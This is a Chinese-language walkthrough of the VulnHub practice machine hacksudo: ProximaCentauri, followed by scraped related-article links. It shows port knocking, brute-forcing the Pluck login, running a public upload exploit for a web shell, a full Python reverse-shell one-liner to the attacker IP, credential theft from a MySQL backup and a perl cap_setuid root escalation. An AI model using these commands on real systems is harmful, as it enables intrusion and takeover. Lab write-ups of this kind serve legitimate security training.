vulnhub靶场之HACKSUDO: PROXIMACENTAURI
准备:
攻击机:虚拟机kali、本机win10。
靶机:hacksudo: ProximaCentauri,下载地址:https://download.vulnhub.com/hacksudo/hacksudo-ProximaCentauri.zip,下载后直接vbox打开即可。
知识点:perl提权、pluck 框架漏洞、端口敲门、密码爆破、敏感文件发现。
信息收集:
扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.2126,显示开放了80端口,开启了http服务并且存在robots.txt文件以及两个目录信息。
访问下web服务,跳转到:http://192.168.5.126/?file=hacksudo-proxima-centauri,猜测存在文件包含漏洞,进行测试:http://192.168.5.126/?file=../../../../../../../etc/passwd,但是存在检测,被拦截了。
目录扫描:
使用gobuster进行目录扫描,发现flag1.txt文件、data文件夹、files文件夹等信息。
访问:http://192.168.5.126/flag1.txt获得flag1.txt信息。
访问login.php页面发现框架的版本信息:pluck 4.7.13,顺便尝试了下弱口令、注入,但是均测试失败。
搜索下pluck 4.7.13的漏洞信息:searchsploit pluck,发现存在一个文件上传进行命令执行的漏洞,但是查看了下该漏洞利用方式是需要admin权限的。
访问:http://192.168.5.126/planet时,发现travel目录,在travel目中检查源代码时发现提示信息,告诉我们要获取一个坐标并且RA是开启,DEC是关闭。
<!--- here you can open portal and travel to proxima,the co-ordinate is? RA for open,Dec for close The proxima blackwhole portal......get co-ordinate from https://g.co/kgs/F9Lb6b --!>
访问下半人马座的坐标信息,获得:RA 14 29 43。
端口敲门和密码爆破:
使用命令:knock 192.168.5.126 14 29 43进行端口敲门,然后再次使用nmap对靶场进行端口扫描,命令:nmap -T4 -sV -p- -A 192.168.5.126,发现ssh服务。
尝试使用ssh服务进行了连接,发现给出了一个字典:https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst,猜测是密码。
使用bp抓取登录的数据包:http://192.168.5.126/login.php,使用获得字典进行爆破,成功获得密码:hacktheplanet。
框架漏洞获取shell:
这里想到上面提到的框架:pluck 4.7.13的漏洞,该漏洞需要使用管理员权限,那我们现在有了密码不就是管理员了,根据该exp的利用方式获取shell权限,命令:python 49909.py 192.168.5.153 80 hacktheplanet ""。(这里因为电脑重启了一次,靶机ip和kali的ip均发生了改变)。
访问返回的地址:http://192.168.5.153:80/files/shell.phar,获得一个命令执行窗口。
使用python反弹下shell,python反弹脚本可以在这里生成:https://www.revshells.com/。
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.5.150",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
多级目录获取shell:
对二级目录进行了扫描,最后在/data/trash/files目录下发现shell.phar文件,访问该文件获取了一个shell(同上面),这里不在赘述。
提权-proxima:
在/home目录下发现用户名称:alfa、centauri、proxima,想着用原来的密码字典进行爆破,但是失败。
在/var目录下发现一个备份文件:backups,在该文件中发现mysql.bak文件,读取该文件获取到数据库名称、账号和密码信息:proximacentauri、alfauser/passw0rd。
使用获得数据库信息,连接数据库,命令:mysql -h 127.0.0.1 -ualfauser -ppassw0rd,切换成我们发现的数据库,读取数据库内信息,发现一组账户和密码信息:proxima/alfacentauri123。
使用获得的账户信息:proxima/alfacentauri123,进行ssh连接,成功提权至proxima。并在当前目录下发现user.txt文件,读取该文件成功获得flag值。
提权:
查看下当前账户是否存在可以使用的特权命令,sudo -l,发现无法执行sudo权限。
通过:find / -perm -4000 -type f 2>/dev/null来查找可疑文件进行提权,但是未发现可以进行提权的文件。
上传LinEnum.sh脚本进行信息收集或者getcap -r / 2>/dev/null命令也可以发现,发现一个:cap_setuid+ep。
查找下perl的提权方式,执行命令:/home/proxima/proximaCentauriA/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";',进行提权,成功获得root权限。
获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。
vulnhub靶场之HACKSUDO: PROXIMACENTAURI的更多相关文章
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- ES6 学习笔记(十二)代理器Proxy的简单使用
1.前言 以前在学习react时做了个仿手机端的QQ音乐项目.当时的数据是通过proxy代理的QQ音乐数据接口,直接写在package.json里面.Proxy 对象(Proxy)是 ES6的特性,只 ...
- 以开发之名 | bilibili会员购让IP在眼前动起来
随着ACG文化(二次元文化)影响力的不断提升,哔哩哔哩平台上衍生品消费群体不断扩大,手办行业迅速崛起.2017年,B站推出ACG衍生品消费品牌bilibili会员购,涵盖二次元手办销售等多项业务,拓展 ...
- Java计算文件或文件夹大小
导入此类后,直接调用FilesUtil.returnSizi(String path),即可获取文件或者文件夹大小. 代码: 1 /** 2 * 路人甲操作文件的工具类 3 * returnSizi( ...
- 记一次HTTPClient模拟登录获取Cookie的开发历程
记一次HTTPClient模拟登录获取Cookie的开发历程 环境: springboot : 2.7 jdk: 1.8 httpClient : 4.5.13 设计方案 通过新建一个 ...
- Git 分支管理策略汇总
原文链接: Git 分支管理策略 最近,团队新入职了一些小伙伴,在开发过程中,他们问我 Git 分支是如何管理的,以及应该怎么提交代码? 我大概说了一些规则,但仔细想来,好像也并没有形成一个清晰规范的 ...
- networkQuality
基本使用 networkQuality 是一个命令行工具,需要使用「终端」App(或者你首选的其他终端模拟器)运行.方法是: 首先,点按「程序坞」(Dock)中的「启动台」(LaunchPad)图标, ...
- 嵌入式-C语言基础:指针数组(和数组指针区分开来)
指针数组:一个数组,若其元素均为指针类型的数据,称为指针数组,指针数组存放的是指针类型的数据,也就是指针数组的每个元素都存放一个地址.下面定义一个指针数组: int * p[4];//[]的优先级是比 ...
- 2022-11-11 Acwing每日一题
本系列所有题目均为Acwing课的内容,发表博客既是为了学习总结,加深自己的印象,同时也是为了以后回过头来看时,不会感叹虚度光阴罢了,因此如果出现错误,欢迎大家能够指出错误,我会认真改正的.同时也希望 ...
- ROSIntegration ROSIntegrationVision与虚幻引擎4(Unreal Engine 4)的配置
ROSIntegration ROSIntegrationVision与虚幻引擎4(Unreal Engine 4)的配置 操作系统:Ubuntu 18.04 虚幻引擎:4.26.2 目录 ROSIn ...
- (C++) C++ template笔记 -- template关键字及typename关键字
在调用C++ template函数时,有时候语法会存在歧义. 调用函数时,使用 obj.template func<...>() 形式的语法,避免歧义: 调用类型时,使用嵌入子类型时,使用 ...